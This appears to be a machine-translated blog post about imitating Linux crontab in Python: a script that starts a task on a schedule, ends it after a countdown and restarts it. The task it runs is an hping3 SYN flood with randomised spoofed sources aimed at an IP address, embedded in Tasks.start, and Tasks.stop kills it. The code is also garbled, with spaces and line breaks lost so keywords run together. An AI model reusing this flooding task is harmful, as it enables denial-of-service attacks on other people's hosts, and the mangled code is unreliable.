Python simulates Linux crontab and writes a mission planning requirement

Python simulates Linux crontab and writes a mission planning requirement

Come to specifics.

　　

Requirements:    execute a program, the program has been running state, here is assumed to be a function    when the program runs 30s, you need to terminate the program, you can use Python, C, c+ + language to achieve the    expansion requirements:        You need to restart the program after 1 minutes

Def process_2 ():
# Time to execute
# Execute Process_1
# Start listening--timing
# When the time exceeds how many s, force the end
# (Note that the task execution process inside the process still exists, for example, the task of the process is to create a process, that is, the task is forced to end the process, and you create the process? ）
Pass

#!/usr/bin/env python#-*-coding=utf-8-*-Importsys, time, multiprocessing, datetime, OS#-----< custom error>-----#classMycustomerror (Exception):def __init__(Self, Msg=none, retcode=4999): Self.retcode=Int (retcode)Try:            if  notmsg:msg="Setting time is less than the current time Error."        except: Msg="Unknown Error!!!"Exception.__init__(self, Self.retcode, msg)#-----< format time into timestamp >-----#classFormatDateTime ():" "Use method:FormatDatetime.become_timestamp ("2018-08-21 13:19:00")" "@staticmethoddefBecome_timestamp (DTDT):#converting a time type to a timestamp        ifisinstance (DTDT, datetime.datetime): Timestamp=Time.mktime (Dtdt.timetuple ())returntimestampelifisinstance (DTDT, str):ifDtdt.split (" ") [1:]: A_datetime= Datetime.datetime.strptime (DTDT,"%y-%m-%d%h:%m:%s") Timestamp=Time.mktime (A_datetime.timetuple ())Else: A_datetime= Datetime.datetime.strptime (DTDT,"%y-%m-%d") Timestamp=Time.mktime (A_datetime.timetuple ())returntimestampelifisinstance (DTDT, float):returnDtdt#-----< Timers >-----#defTimer (ARG):" "Use method:timer:p Aram ARG: Countdown time: Return:true" "    #Countdown TimeBack_time =Arg whileBack_time! =0:sys.stdout.write ('\ r')##意思是打印在清空Back_time-= 1Sys.stdout.write ("%s"%(int (back_time))) Sys.stdout.flush () Time.sleep (1)    returnTrue#-----< Customize task functions >-----#classTasks: @staticmethoddefstart (): Ip1="42.93.48.16"IP2="192.168.2.141"adjure="""hping3-c 100000-d 120-s-w 64-p 57511-a 10.10.10.10--flood--rand-source {}""". Format (IP2) Os.system (adjure) @staticmethoddefStop (): Adjure="""Netstat-anpo | grep hping3 | awk-f "[/]+" ' {print $7} ' | xargs-i-t kill-9 {}"""Os.system (adjure)#-----< Task functions >-----#defSlow_worker ():" "The code you need to execute for your custom task: return:" "    Print('starting worker') Time.sleep (0.1)    Print('finished worker') Tasks.start ()#-----< Task Schedule Execution time >-----#defCrontab_time (custom_time):#custom_time = "2018-08-21 13:44:00"Date_time =Formatdatetime.become_timestamp (custom_time) now_time=time.time ()#remainder, with decimalsremainder_data = Int (Date_time-now_time)ifRemainder_data <0:RaiseMycustomerrorElse:         whileRemainder_data >0:remainder_data-= 1Time.sleep (1)        returnTrue#-----< Execute functions >-----#defMy_crontab (custom_time="', Frequency=1, countdown=0):" "a few minutes to perform a task this function belongs to the business logic and can be considered again encapsulated Custom_time = "2018-08-21 13:19:00" time format must be so frequency = 1 # frequency Countdow n = 0 # countdown number s:return:" "    ifCustom_time:crontab_time_status=crontab_time (custom_time)ifCrontab_time_status: forIinchRange (Frequency): P= multiprocessing. Process (target=slow_worker) P.start ()ifCountdown:status=Timer (Countdown)ifstatus:p.terminate () tasks.stop ( )Else:         forIinchRange (Frequency): P= multiprocessing. Process (target=slow_worker) P.start ()ifCountdown:status=Timer (Countdown)ifstatus:p.terminate () tasks.stop ( )if __name__=='__main__': My_crontab (Frequency=1, COUNTDOWN=50)

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Python simulates Linux crontab and writes a mission planning requirement